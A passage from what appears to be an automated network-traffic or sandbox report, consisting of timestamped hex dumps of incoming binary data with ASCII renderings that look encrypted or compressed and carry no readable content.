fe a2 7d 27 1f 26 0e ae a5 45 bc 24 bc f4 b3 46 ab 66 Data Ascii: m?`n~y9^J\|EJ-GT-SB6O0X}lM\#&Ro2Zd>mItk^P}'na#Yc\5br9\|2]G@@#nJ^`&Sy5A!1$9r\|ZiCctS)wgAcEllH(fOyZ}'&E$Ff
2023-07-18 15:37:06 UTC	1264	IN	Data Raw: 67 1e a2 6d ac 1b 3d 7b f6 d4 d7 26 b9 e7 38 8c 3e 64 e1 a3 87 0c 05 ee 70 22 cb b1 42 6b a7 14 ce 6e c2 5e a8 f9 23 78 c3 32 db bd ca d9 80 be 02 22 ec e4 75 0b 7b af c8 bc 07 9c b5 f5 b5 e6 45 13 05 93 c5 66 d4 83 2e a0 41 c7 b9 a4 38 af 8b d6 20 a6 50 ef 84 af 1a 9b 2b 5c 7b 1d 46 0c a3 6a 02 be 4e c2 59 1d 67 60 0d 5a bd f7 63 61 ef 6a c9 51 61 59 9f cb 79 44 00 98 81 04 79 85 1b 4f 0a f7 21 fa 7b ec 47 c8 dc 45 6e 2b e3 81 b0 c6 df 6d 50 6a e6 bc 85 35 b1 d6 dc 2b 91 29 0c 9a 1d 71 c5 09 50 23 da b8 d6 37 90 6f 10 60 4f 21 93 eb 92 8c de de 0c 1a e8 c5 83 82 be 46 fc ae 3c 6d 91 c0 19 64 ad fd de e5 00 50 44 8b 58 1e d6 2d d1 dc 8e 75 89 08 99 1f 74 fd f3 73 b7 70 00 27 ea 0d 05 16 2b 2f 6a 1e 2e 2c 15 41 13 30 e6 01 f5 f2 33 e9 0f 34 16 01 88 05 96 Data Ascii: gm={&8>dp"Bkn^#x2"u{Ef.A8 P+\{FjNYg`ZcajQaYyDyO!{GEn+mPj5+)qP#7o`O!F<mdPDX-utsp'+/j.,A034
2023-07-18 15:37:06 UTC	1280	IN	Data Raw: 5b 35 fb 36 a0 ae 58 57 3a de 81 24 c9 4d 89 6c b2 80 d6 e2 9a 65 a2 ce e6 83 0c fe 44 5b 65 96 c4 33 c5 cd c5 9d c8 dc e8 32 02 2d 33 1f 90 ed 5d fc d0 45 99 64 51 5f 95 77 0b 28 41 11 cb 26 ab 6a f2 da b2 72 be 57 9f 73 d8 44 09 6f 58 bc b5 6f 7c f8 61 69 84 2c 4f d3 c0 c6 d0 31 ee c8 a8 19 10 52 bb ad ff ff 33 11 df ef 0d 94 06 3c 05 9e c4 88 a4 1c e7 c9 90 50 c6 18 bf 9a 01 ef a1 ea 03 3b 24 c8 11 2b 21 b0 5a a2 e3 c0 e9 d9 56 24 21 d9 e1 46 2a e6 57 4a c3 30 b2 3d 1d 6d 69 0f 24 59 e0 15 42 e3 92 56 e1 67 24 25 ca 26 16 08 ed b3 3a 6e 99 d5 29 0d 07 45 48 f2 d1 07 75 6c fc ac 04 c7 46 9a 6d 62 f4 34 a2 1d fa 88 e7 ce b5 6b 58 8f 41 5a ba c1 87 6a bf e6 de 2c ac d9 36 1e c2 36 dc 75 9f 1c 70 c0 18 79 f9 63 b8 89 92 43 38 e8 0f ab 3e 85 e1 e4 3d 65 f5 Data Ascii: [56XW:$MleD[e32-3]EdQ_w(A&jrWsDoXo\|ai,O1R3<P;$+!ZV$!F*WJ0=mi$YBVg$%&:n)EHulFmb4kXAZj,66upycC8>=e
2023-07-18 15:37:06 UTC	1296	IN	Data Raw: ac bc af ec 88 03 b8 b7 c0 5f 8c 0e 4c e4 96 5f 8e 00 27 9e b8 5f cc 18 b0 09 cf 7f ba f8 5e 2f d1 14 b5 fd b3 03 6b 48 aa b5 32 e2 ea a3 9e 7b 74 ae 1f 5c 64 a1 4a 97 76 6a 7a ad e2 ea d9 0c fb 4a b9 13 0d 2b 2d 3c 4a b3 96 51 de a5 5d e1 f0 2e c8 a8 4e 45 3f 8a 2d fc 37 93 1a 0c 87 23 f9 04 37 86 92 a4 74 17 b8 f6 53 77 36 ad 79 67 80 71 cb 96 18 2b bb 2b 25 4e e6 e6 44 fa c0 87 1e cd 7e 60 03 ee 5a 5f af 21 f4 52 a0 32 23 ef 29 8d 0b b0 9f ec 7c 55 0f ec df 45 04 ad 9b 9b 0f 6d b3 0a 01 85 66 ed e9 d3 44 4c 74 b0 24 dc da 39 42 34 18 0e 0a cb 46 e4 d6 a9 01 3f 25 53 9a dc c3 f3 84 5f 55 17 cd b6 cd 0c 54 b3 98 bf 7d bc 12 dd 37 00 9b 41 1f 9e 7e ac 13 76 df 6d f9 42 95 dc 04 27 bd 75 40 16 ff 0b 0d 9a 31 8e cb 67 e5 bf d9 5b b7 d4 da 99 b0 21 4f bc 59 Data Ascii: _L_'_^/kH2{t\dJvjzJ+-<JQ].NE?-7#7tSw6ygq++%ND~`Z_!R2#)\|UEmfDLt$9B4F?%S_UT}7A~vmB'u@1g[!OY
2023-07-18 15:37:06 UTC	1312	IN	Data Raw: b0 76 3f 38 79 d7 04 a5 2a 8b c8 6f 50 ea 2c 9a c0 a0 f9 4c 27 61 b5 ba c4 32 33 fe 3d 83 a0 b6 f3 9c 0f c8 51 06 a2 44 ad c8 2b cb 1f 00 a1 af b2 b5 ab 79 f1 d1 f3 0c c6 ad 36 fa 8e aa 65 2b 9f d0 0b 52 ed c9 5f dd 7f 2e 33 99 ea 37 fd dc 3f 03 c7 b1 4d 06 af f1 63 66 60 dd 06 e4 f9 2b 65 06 1a fe 50 8a 7f 70 3e 71 9f 6b 59 a0 1d e2 40 54 db 01 36 6a 45 46 05 da 39 46 a3 71 54 5e 71 aa 9d dd 2e ac 49 e1 eb 92 b2 33 58 58 29 f5 69 28 75 03 54 37 3c 92 54 aa 8e 57 4f 60 7f dd d7 f9 28 57 d7 ef f0 1e 3b 26 4e 14 ee 5e c4 19 a7 8a 87 23 cc e9 f8 9f 36 78 28 b8 c2 e9 1f 55 37 38 07 9c 4e 5f bd ca 0e 86 67 7b 59 e4 0e 1e 3a 25 c6 2f b5 4f ae e9 85 ac 9e 64 45 c2 e3 ff b8 f2 48 59 56 78 50 31 bb b7 c3 06 72 a3 2c 44 99 14 79 47 ce 5a e6 79 a3 f0 8f 4b 33 c3 03 Data Ascii: v?8y*oP,L'a23=QD+y6e+R_.37?Mcf`+ePp>qkY@T6jEF9FqT^q.I3XX)i(uT7<TWO`(W;&N^#6x(U78N_g{Y:%/OdEHYVxP1r,DyGZyK3
2023-07-18 15:37:06 UTC	1328	IN	Data Raw: aa a8 cf 01 f6 6d e7 59 26 f1 a1 14 2c 1e 61 7e 7b ad 7e db bf 4d 58 1b aa 1e b7 f3 7f 49 2f e8 22 3f 26 5d 5b 03 6a b1 65 e6 c4 23 12 44 14 29 6f 53 fb 4e 19 fe 17 41 a3 74 f5 d0 22 d5 cc 3f a2 fc b1 20 d2 c8 99 88 12 6d 38 55 c7 fc 2c e5 e1 d0 db 2f 37 70 8d c3 09 c9 c2 65 7b ba 4a db b9 86 1a 8e 03 b6 00 b9 8e 36 8e 9a b6 46 a8 6a 5e a2 ed 7a 4c 43 6d 43 c5 c1 0c 25 8f fc 9a 13 50 ef bd 4c 91 7c ce 6c 72 7d 51 52 44 79 a9 dd c2 74 80 ba c9 71 1b e8 69 de c8 78 46 5d 1a de 99 e8 fb 3a 32 88 8e c3 0b c5 03 31 12 46 b4 aa ae c7 18 18 c6 29 0c aa 73 f4 c9 0a f7 f8 ed 57 9f 76 7d bc 68 67 ca 27 c9 fe bb 4c 74 09 cd 65 c9 c4 f1 61 e4 6f 43 de 90 c2 90 f7 43 14 19 33 2c 54 62 14 b1 65 55 1a 4b 61 78 83 18 76 c8 2d e4 69 6c 1a 97 46 38 95 e9 0e 60 07 4f 8c ab Data Ascii: mY&,a~{~MXI/"?&][je#D)oSNAt"? m8U,/7pe{J6Fj^zLCmC%PL\|lr}QRDytqixF]:21F)sWv}hg'LteaoCC3,TbeUKaxv-ilF8`O
2023-07-18 15:37:06 UTC	1344	IN	Data Raw: 6f 8b a7 a4 d7 ab 1e c0 96 88 fc 1a 52 d8 20 09 b0 43 bd 20 0d 4b 46 7b 19 50 81 6c 6c a3 87 53 42 96 21 7b 7a c3 1e db ef e5 95 c2 3d d4 dd f1 34 64 69 09 d2 32 e2 dd 2b 90 52 cf 6a 0d c9 2a 3b bf 6b 93 6d e7 e8 0c e7 af 5e a8 e5 9f 0c 3b e6 63 66 bb fb 10 23 4b 65 3f 8b 3d 7a 2b 23 ce bb cb da d5 24 f9 ef b6 5f b5 a4 7e 0e a2 f8 ca e5 fa 04 11 1f b0 20 c7 14 70 a4 8e 98 f7 75 01 2e d1 2a 3f 9b 6e 21 99 04 09 5e 03 8a 4c 16 06 44 37 00 ca cb d3 bb eb 26 81 d1 2e 44 71 4d 08 a5 53 df 48 9c 7e cd 98 9c 4a fd 8a bc ad 01 00 91 8a fc d3 7c c4 92 a4 9b 07 78 ae bc 3b d5 b6 04 1e 92 b1 7d b8 f0 e0 57 fb 1a db d9 82 0f 52 09 5c 2f 5c dc c3 ef 2e cf 7f 9a b4 fc f0 c1 f9 c0 0d c5 c6 8a c5 6b 2e 8c 3a 5c 40 7e 3c d3 78 3b 49 ed d8 b1 38 09 14 11 2d ea b6 e5 c5 30 Data Ascii: oR C KF{PllSB!{z=4di2+Rj;km^;cf#Ke?=z+#$_~ pu.?n!^LD7&.DqMSH~J\|x;}WR\/\.k.:\@~<x;I8-0
2023-07-18 15:37:06 UTC	1360	IN	Data Raw: f1 ce 90 b4 f0 a6 5e 7a 8c 68 a4 9a 4b 75 47 7d f5 e7 ff 1b 99 93 4d 83 c7 ae 92 74 00 dd 48 ca b1 a3 39 d4 b9 f7 2b ba 04 b9 f8 97 13 8d 49 28 9f 52 51 08 2d 01 94 0a ec 8c 0b 8c 25 28 37 6b 9e 82 8a fe 7a ed 0c 4f 09 10 55 27 98 b6 b9 e0 99 2c 43 3e 4e 66 a9 0a 89 87 8d 27 7f c7 9b 9d 42 3c 0a 09 83 57 0f db 1d 63 c9 cf ba eb b3 cf d1 ec 0a b8 78 23 ac e0 dc 83 15 ee e0 f0 32 3b ca aa 4c 9e 6b ae 4b 5d c9 6b e4 2c ed 83 e6 6b 53 ff d9 dd 8b f6 f2 7e 2d df f4 07 aa 2a 41 b5 a9 45 ff 49 76 eb 94 e3 a6 d5 c9 75 4c 81 a4 0e 15 9e 39 a3 81 70 10 f8 3a 08 53 c5 b8 5f 3e 09 8a d9 3d 58 d8 6e 93 10 ba 58 44 f7 ff fc 80 d1 9d 09 c7 f7 0a e3 2e d8 5c 7c 56 83 3f 48 01 97 d9 60 9f a3 1f 8b 6f ad 12 b2 6a fd 53 02 3c df 04 17 b4 25 0a 02 92 49 c8 8a ab b1 18 68 04 Data Ascii: ^zhKuG}MtH9+I(RQ-%(7kzOU',C>Nf'B<Wcx#2;LkK]k,kS~-*AEIvuL9p:S_>=XnXD.\\|V?H`ojS<%Ih
2023-07-18 15:37:06 UTC	1376	IN	Data Raw: ba 93 e4 17 8b e9 d7 42 a6 2d 10 b4 cc 16 bb ef 46 63 24 2e ba ca 55 64 47 aa c1 27 81 eb 2e 6d 20 07 cf a2 f4 2f 92 c8 55 79 95 6b c7 fa 26 08 84 38 2e a2 9b 3a 13 0e 67 2f b8 67 5d 46 92 ab 04 f5 24 bc cd 06 17 5e ba 94 1b 79 3f bb cb 7a e7 c5 33 a3 9d 76 f4 e9 4f 43 f7 8e 8e 88 7a 0b c2 b5 1e 79 90 e5 ed 21 1f 9f e2 5e f9 9c 8a 11 0c 3f 3d 98 ed da b0 40 84 21 bf 5e da b5 f1 48 eb df 28 55 3f 16 90 31 19 ae 47 03 b8 2f 3e 56 14 b5 76 52 17 b2 37 fc 7a 4e d0 df b9 48 2a 8f 62 24 0a ab eb 8e 6f 6f 05 1b 4d 1f f3 f7 5b 2d 7c 0d c6 d4 50 19 22 75 77 65 4d 44 26 b9 9a e6 29 14 84 68 e5 42 34 9d e4 58 0d 70 69 da 67 81 10 f7 75 fc 50 d3 01 b5 a1 a2 c5 20 9a 22 fe 77 b9 0f 28 2d 41 72 b3 96 bb 0c c4 9a 9c ec d8 95 7a 13 5f f2 0a 28 96 71 ea 2b 1e f9 00 6f e6 Data Ascii: B-Fc$.UdG'.m /Uyk&8.:g/g]F$^y?z3vOCzy!^?=@!^H(U?1G/>VvR7zNH*b$ooM[-\|P"uweMD&)hB4XpiguP "w(-Arz_(q+o
2023-07-18 15:37:06 UTC	1392	IN	Data Raw: 03 e3 eb c2 32 39 dc 95 c8 eb 5e 2b eb 4e 2a 0e b4 7b 94 c8 86 59 61 2f bc 7f 4a fc 29 ee f9 2d ec e1 f4 82 c2 1c 77 a0 d8 d7 9e 43 33 44 22 d5 25 5b f7 54 87 c5 4c a3 5e 73 81 93 b5 59 0f 55 8f 71 a6 46 a2 e6 1d 8e 32 64 0c f8 c5 f7 6f e8 a9 23 87 da 1d e2 57 6a 70 27 a3 f2 ab 1d c7 5e 9b 83 03 6d 45 12 ca d1 24 3f f1 af 7b 00 a3 11 4e 00 e4 f9 7d fe 7e 9e 94 3b 49 17 2f 0d 2d c7 84 90 e3 2d 63 0f fc 84 c5 3f 4e 8f c7 f9 41 9b 1b 79 b3 25 45 7e ed 3a 48 51 3e 12 74 a2 93 7b 6b 76 5b f9 d7 2c 1c 17 1a f5 b2 05 06 92 75 95 0f 8e 8b e9 93 9b a4 b5 19 de 8e 56 9a 26 be af 5d 67 0d bf 4f 78 21 64 e1 74 cc 5f dd 5f 9b 06 31 b7 b5 98 8b e1 63 f2 f4 6d f6 05 56 6b 1f 47 90 6a f9 a8 91 df 29 01 d0 8b 9f 5d 85 a2 09 6b d6 37 71 8b d6 24 25 ae 66 77 42 2e 8a 52 28 Data Ascii: 29^+N*{Ya/J)-wC3D"%[TL^sYUqF2do#Wjp'^mE$?{N}~;I/--c?NAy%E~:HQ>t{kv[,uV&]gOx!dt__1cmVkGj)]k7q$%fwB.R(
2023-07-18 15:37:06 UTC	1408	IN	Data Raw: c3 3d f4 06 cc 6c 96 88 91 8e cb 2c 9f a5 8c 41 0d e6 ef 3e 2c 74 c2 7f b1 68 13 fc 37 5c fb 09 15 5b a7 23 c4 1d 4c 16 7d ea 45 dd c4 0e fb d9 2a 93 76 e7 e3 15 91 9a 1a a0 b8 0e 82 13 cc bf 6a 14 60 16 79 0a 85 40 30 8f 06 7f 32 9e a9 7e 21 29 fd 5d df 7f 45 ee a4 c2 88 42 bd ce ef 65 72 40 d5 9b a3 ac 47 81 9c 0b 35 b6 65 b6 b9 d5 f0 bd 86 eb 29 ea cf 41 05 32 fd e8 92 6b 50 34 5a 49 00 18 db 12 d8 26 50 3a 77 85 7b 90 67 fa e1 13 23 f3 f5 1b 1e a4 68 04 90 ce 68 6a a9 a4 ca 77 40 4a 0d 03 04 5b 99 93 c7 ba 33 7f 6e bc 6d e3 78 bf 09 74 92 aa 45 ab e1 34 75 65 f4 f0 ca fe 7d d9 30 24 5c 88 32 dc 9c f5 6f 33 d0 82 e9 c2 cf fe a0 6d d2 ae 26 f0 0e c8 3a d2 23 a9 8e 74 36 3c 36 f4 6d 27 df 06 09 53 d8 c8 cd 80 44 c6 f3 d7 7e 5e 02 19 55 5a 8d 07 3e 86 c7 Data Ascii: =l,A>,th7\[#L}E*vj`y@02~!)]EBer@G5e)A2kP4ZI&P:w{g#hhjw@J[3nmxtE4ue}0$\2o3m&:#t6<6m'SD~^UZ>
2023-07-18 15:37:06 UTC	1424	IN	Data Raw: db d3 3e ed 62 8c 7b 4e f1 2b d8 f0 f8 c6 46 6e af 2d 53 b8 e6 4a 10 f9 33 16 c5 92 5e a8 2d 92 a2 aa f6 31 82 8a b4 ec b3 b4 ef 4b 7d 7f a5 e4 aa a6 67 c3 29 c5 ff 12 57 19 94 e9 9b c1 09 bf 40 fa 2c a9 ac da bc ec 0b 0e 1d 53 ab bd fc 9f 51 4a 9b 34 cc 64 24 b9 e4 06 32 22 28 80 06 52 28 77 58 e2 cc 68 ef 88 44 6d b3 1d 4f cd 29 5a af 3b b9 ea 13 b4 c7 03 41 e5 87 44 5b 2c 8d 8c 19 db 6a da db 50 4a 2b 9a 23 11 e3 a5 c7 b1 67 eb ca 76 b9 37 62 0a a1 22 8e 10 fd 7e 34 7f 64 bd b4 6e 04 a8 63 1d 8a 9e aa d0 fb 8f 15 d6 6d 87 a6 7e 16 76 17 b0 ac 6a 34 c2 f9 b4 72 2b 67 e9 a2 7b f4 b4 af 24 b0 b6 4f 29 b1 32 58 92 1a 68 f1 34 0c fd aa 1a 1f 1f 21 a2 97 e2 04 25 e5 82 39 39 79 b5 ad 24 4e bf 86 39 a4 f4 53 fe 41 5d ae 19 df c7 ad ea 35 b0 58 21 5e 06 3f 19 Data Ascii: >b{N+Fn-SJ3^-1K}g)W@,SQJ4d$2"(R(wXhDmO)Z;AD[,jPJ+#gv7b"~4dncm~vj4r+g{$O)2Xh4!%99y$N9SA]5X!^?
2023-07-18 15:37:06 UTC	1440	IN	Data Raw: e7 f6 91 00 b8 8b 0e b0 7d c0 e7 3c 31 7f 48 71 9b 46 fe 3a 34 ad df 92 9e 3c 7d 60 3e 7d 9a 75 66 5d 14 5b 20 6d 5f 58 79 06 b9 5b 9f 84 c3 64 4e a2 cd 8c 5a 4b 2c 7c ce da 98 94 33 ab 11 e4 e6 3a e5 99 08 6e 9a 0c db d3 44 05 d5 53 5d c4 91 36 31 d5 13 09 c5 a5 93 9b a9 a2 4f e4 9f 84 0b 8d d5 42 d9 09 fd 9f a1 fc cf 7f 11 de 8e 35 a2 df 41 ce e1 c8 3d f3 e4 ac c8 fd b8 75 4b 04 c2 78 fe f1 05 d3 b3 df ed 64 f8 56 b7 1b a6 e7 c0 ef b9 88 c7 74 2d d5 34 f4 f5 5f 0f 3b 02 2a 9c bc 6f 82 94 24 c5 1d 7f 86 83 7f 25 ed 14 28 2a 5b 1d e7 7a 5a 5d 11 d9 a5 06 32 fe a7 bc 42 aa a8 5d 2e c4 24 41 08 53 c3 25 9b 17 0f 01 ae c0 e0 23 46 9d 18 96 d1 1d 0a b8 64 4f 2b 32 de 4e 5e b2 75 64 8c ff 14 ed 5d 68 e6 6a 5a 82 49 be 41 f0 9f 45 fd f4 1e f0 91 12 2a 2d d7 57 Data Ascii: }<1HqF:4<}`>}uf][ m_Xy[dNZK,\|3:nDS]61OB5A=uKxdVt-4_;o$%([zZ]2B].$AS%#FdO+2N^ud]hjZIAE*-W
2023-07-18 15:37:06 UTC	1456	IN	Data Raw: 32 7f 6a ae d1 9d 7d 4c ce c8 54 2a b7 80 f2 c0 97 42 50 6b 2b 8a bf 7a 8d ed cd 6c b7 ae 02 44 c0 0c 8e 0d 33 e9 1e 43 6d 18 a2 4e 58 bd 75 b7 d1 6e 41 45 0c 0c 51 fc d0 56 bf 51 8e c9 70 cb cb fd 6c 8f 12 9c 28 3a 74 5d ed 57 4d b1 7a a3 a6 17 15 b8 13 a8 88 d1 ef a3 54 75 71 0a 7b 63 62 fe 36 8a bf d3 34 a1 1d 0c 6f e0 41 e2 9d 64 b6 a5 3d 9c cf 18 cf 9e 3e 45 fc 56 63 c6 64 e3 52 d0 63 a5 2c 61 b3 f3 60 22 5a 4f e1 0f af 52 3b 9b de b7 cc 59 ca 81 ad a8 36 d4 38 07 85 0b 97 1e 04 6c f0 ff 52 4b 10 06 c9 76 74 39 49 e5 f7 aa 25 ee 24 de 03 cd ad 06 dd 26 68 af 40 c2 93 6d aa 7e a9 bf 3e 11 58 de d8 32 08 69 76 f2 32 ba 7c f1 e9 dc 53 96 c0 b5 93 9d 2e 27 78 45 7e 07 26 f8 e1 db da 91 a8 a1 ea 61 1b ab c8 9f a5 ed e2 32 fc 2f e7 14 4f d9 08 a2 c8 e0 7f Data Ascii: 2j}LT*BPk+zlD3CmNXunAEQVQpl(:t]WMzTuq{cb64oAd=>EVcdRc,a`"ZOR;Y68lRKvt9I%$&h@m~>X2iv2\|S.'xE~&a2/O
2023-07-18 15:37:06 UTC	1472	IN	Data Raw: cb 6c da 2f 73 b3 e5 91 9e 0a b7 99 4c 49 79 93 cc ce 23 80 f2 c0 63 69 d1 b7 b4 5c 67 bf a1 e0 68 1c 61 95 b0 c7 be 4e aa 3d ab ab 2d cd 67 96 c4 64 3a 5c 2b 27 61 86 6b a7 ab eb 76 be 36 88 64 a0 c0 5c a2 f2 f0 5b 67 2a 6d 60 27 30 e2 bb 42 15 9d 3f de e5 65 3c 08 fd cc 2c 42 e5 26 94 c1 98 af e0 bc 06 50 bd 44 bd 4a 33 fe f2 a1 a3 cc b6 84 31 ca 69 73 2d 41 e6 d1 2c ce 20 d0 38 d7 78 49 b7 57 ca ba 22 8f e5 3e 81 c0 3b a1 76 a9 16 33 4e 3b 59 aa 8f 0c 2a 93 61 7f 6b 7c f2 99 55 ed 50 0d 47 57 3e ac fc d2 ab cb 12 10 ba 4e fd c0 9d 8e 96 87 b1 91 0d ff a1 01 a5 fa 60 38 b4 8c c4 c2 0e fa 5e eb 5d 14 37 56 b4 1b 9d 14 5a d4 12 a6 98 03 cc 1e 76 62 a5 3d 88 b8 85 fc 1e 89 66 e0 e6 33 5f 73 ed ba 39 fb 02 4e c9 54 51 d2 1c 0e 1d d0 7e 5c f4 65 39 51 b6 d1 Data Ascii: l/sLIy#ci\ghaN=-gd:\+'akv6d\[gm`'0B?e<,B&PDJ31is-A, 8xIW">;v3N;Yak\|UPGW>N`8^]7VZvb=f3_s9NTQ~\e9Q
2023-07-18 15:37:06 UTC	1488	IN	Data Raw: 48 f2 dd a0 95 47 69 2c 3c ef 92 4b d5 79 8b 6d 2f 5d b1 76 6d 34 13 ac bd 41 ad 1b 44 f8 63 78 ec 18 8c 97 9b 46 c0 88 96 e2 c1 dd fd 7c 78 70 2e ec 9d 69 be 2c 05 3f 2c bd 6b 0b 0c 87 bb 69 11 56 3d d2 82 c0 e8 8c 4f 91 97 d1 4f 08 30 7a 5f 77 9b 9c 7b dc b9 9f 86 33 3c fc e7 f3 6b 05 44 66 2b ad e4 24 e6 24 5d 0c 1b fe 33 43 87 b6 61 b5 b5 0f e8 36 c4 d0 eb c2 b4 c2 1d a1 f7 e9 ce 2f a8 7f 1e 10 ee 1a 3f 88 bf 76 d0 0c 3c 87 03 98 80 0d 44 b2 b5 f7 75 86 b8 b1 a3 be 20 1e 7f 1a 0f 22 3d e0 2c 33 a2 cc 9d a8 6b fa 6d 22 02 29 26 a2 94 25 45 5b 80 c7 7b 84 37 9e 2d 09 06 4d a9 f5 43 4b 3e 65 1b 3a e5 8a d9 d3 9e 6d 7e 41 79 7d 04 59 9f 3b 5e 45 de e3 e1 3a e0 aa 9c 4e 40 c8 14 8d e9 1d c3 bb 06 c5 58 f3 f4 76 0b bb 69 62 b1 e1 13 78 c8 f8 c7 e9 6d 98 7c Data Ascii: HGi,<Kym/]vm4ADcxF\|xp.i,?,kiV=OO0z_w{3<kDf+$$]3Ca6/?v<Du "=,3km")&%E[{7-MCK>e:m~Ay}Y;^E:N@Xvibxm\|
2023-07-18 15:37:06 UTC	1504	IN	Data Raw: de 12 fa 4e 30 8d ea b4 82 a1 4b ad c6 43 a0 64 26 f5 10 b8 c9 05 99 2f e6 0f c2 14 80 8a 0f 50 2d ad af 6c 45 2e 82 8a b8 e2 9f 98 ca 52 d7 0f a2 1a 95 c4 b5 5a 66 ea 1c 37 2b dc 07 45 86 da e5 02 20 af e1 db ee a5 84 a4 f0 bc 62 30 88 70 63 8b fb 38 69 92 ae 2a 9e fe ef 2e ef 73 f4 7e 71 75 12 b8 5f 18 b9 4e cd ce b7 76 5d ca bf 2b f3 27 2f 27 bb 08 10 0d d2 3a 94 75 7a 44 8e ae 33 59 1a 6c 70 71 74 fb 0b 08 19 af 28 30 78 f1 a7 a0 61 b3 c8 80 36 61 20 eb b2 f6 bf 8b 4a 0a cf b9 b8 93 de 48 47 e7 bf 77 e2 42 85 05 df 6a 40 86 d5 bf 73 cd d7 f0 30 2e cf f2 57 0d 58 22 be 9b 21 18 45 ec 16 bd 7a 16 80 5d 4f e3 bc 07 bd 0a 01 ef 40 9d f9 5e 2d 78 8e b3 76 5a c4 02 10 ef ba 20 84 a9 cc 75 e8 47 2b 21 60 91 42 a2 cc 84 fd a0 19 41 f7 e8 52 6b 5e 7c c6 72 db Data Ascii: N0KCd&/P-lE.RZf7+E b0pc8i*.s~qu_Nv]+'/':uzD3Ylpqt(0xa6a JHGwBj@s0.WX"!Ez]O@^-xvZ uG+!`BARk^\|r
2023-07-18 15:37:06 UTC	1520	IN	Data Raw: 95 c0 65 02 e3 88 1a 3e 17 3e 07 64 68 91 7b 54 47 89 09 b9 7c 5c 7b de 52 7b 6d c6 d6 06 8d a1 00 14 72 d0 0e 31 9b 8d a8 07 d1 e6 b7 fa 61 b9 1c a4 bc ca 80 4e e5 5f 89 79 ee 3c 3c be 08 3d e6 17 28 c2 fb 08 2c 78 2c bc ec ae 3e d0 5f 9d a3 a1 70 2b 8a 73 26 89 40 09 38 b5 45 29 b8 be 0f b7 97 2a 1f 29 52 53 e8 1d 06 d6 64 7b 09 4b 84 fc 01 e9 dc d8 98 c6 ba 54 5d 1a c9 2e de ff 84 62 cb 59 e4 c7 82 3a 16 c1 20 dc 26 17 0e 0e 92 ea 14 23 43 5d 70 bd f0 09 ee 02 87 a8 e0 e9 3c 51 e1 37 d7 5f 9c 5d 43 9a 7e 4b 49 ad 86 0c 9d fb 93 c6 7d 74 79 72 78 74 8e bd 4f 4b cc 0f 13 e5 b9 6c 75 0e 76 c8 92 80 ff 3e 26 b1 f7 79 21 b6 17 81 76 f3 cb 6a 43 f6 d8 56 64 fa 4f ad 7b b9 c1 e4 e7 fb ea 3a a4 1e c0 80 5b 9a 8a 49 9a 5b 99 4f 46 11 1e 2a d3 3e 18 99 10 b3 97 Data Ascii: e>>dh{TG\|\{R{mr1aN_y<<=(,x,>_p+s&@8E))RSd{KT].bY: &#C]p<Q7_]C~KI}tyrxtOKluv>&y!vjCVdO{:[I[OF>
2023-07-18 15:37:06 UTC	1536	IN	Data Raw: 51 07 0f e6 f1 04 12 69 fd 06 de 10 d0 08 02 36 9f 21 b4 fe 5d 19 3f f1 11 f7 d0 58 fe 5f 06 d7 67 0e 47 ed 16 42 0d db b1 08 ce eb 18 32 2d 4d 27 87 c9 d7 a0 f2 46 d4 cd 64 b6 a0 a4 5c 2b 9c 0e f8 09 03 67 7f f9 53 f4 9c b8 4f e4 df 1d c7 d2 2c 1e ec d9 8b 87 2b 12 23 b1 98 96 f7 18 c0 65 13 d1 2a 75 53 8d 9f 32 7c e9 db 05 a9 9f b4 a0 bf de 49 1c c5 e0 35 60 83 95 73 eb 8c f0 65 46 60 00 68 4f 14 63 40 60 c9 6c c0 73 80 f7 bc 7c d0 94 5e cc 6b fe 5c f2 d7 48 fc 4e 49 e6 e9 3a 97 64 25 6a e2 f0 3f 72 b9 36 6c a4 65 01 49 c5 a7 9e dc 68 3b 07 d5 4a f2 fb 07 5b 57 0a 1f 5a 50 a1 33 5d 36 01 82 40 03 90 07 15 0c 2a 59 7a 3e 78 72 f0 fa 03 c4 0c 4b e1 e6 82 fa 95 44 95 fa 4f cc e6 97 0d 6a 6c db 57 78 c6 85 57 77 00 c8 10 8f 07 54 f6 42 c3 23 71 7a 6b ca eb Data Ascii: Qi6!]?X_gGB2-M'Fd\+gSO,+#euS2\|I5`seF`hOc@`ls\|^k\HNI:d%j?r6leIh;J[WZP3]6@Yz>xrKDOjlWxWwTB#qzk
2023-07-18 15:37:06 UTC	1552	IN	Data Raw: 97 42 35 ca c2 d4 10 dd ae ad bc 83 b1 a7 8c 2d 2c 7a 0e 8b 8f d9 bb f0 36 57 c2 b6 8b 40 c0 d1 bd 68 bc fb 3a 90 35 8c d0 4b 37 83 2e 5a 94 e0 45 cd 8b c2 d1 89 e9 eb 21 4d e1 7e 04 2d 07 52 92 93 2d e2 45 0d 8f ed 39 9c c8 a0 99 d2 32 76 95 ae 13 e1 b3 39 93 b3 99 c0 cf e4 b0 f4 fa 7c c0 22 15 2e f3 4b 7a 29 b3 a4 f3 53 9a bf 1a 47 f3 2f 69 5a df 7b c8 65 11 06 31 82 56 68 bf 05 4e 61 96 5f 1f c9 07 0e 5f 46 71 33 c3 6b 1c dc 5f 71 57 21 86 d0 a5 13 95 cd 0b 90 e8 29 4a e8 cb d7 80 47 87 a2 b1 82 98 3b e5 5a 7b 50 ce cc 5d c2 35 ed 59 39 5e d1 e2 6f a6 ec b2 67 e2 47 04 6e 38 f8 b6 3f bd c4 1d ab 8b fb 69 a9 e6 ea 75 55 5b 6e d7 3a 5f a4 fb 92 e9 bf c4 45 00 69 48 bf 18 46 a7 6e 81 8f ea e9 11 f7 ae f8 ba 12 45 fd 78 bd 24 2c fb 71 cc 49 95 a4 89 d0 c8 Data Ascii: B5-,z6W@h:5K7.ZE!M~-R-E92v9\|".Kz)SG/iZ{e1VhNa__Fq3k_qW!)JG;Z{P]5Y9^ogGn8?iuU[n:_EiHFnEx$,qI
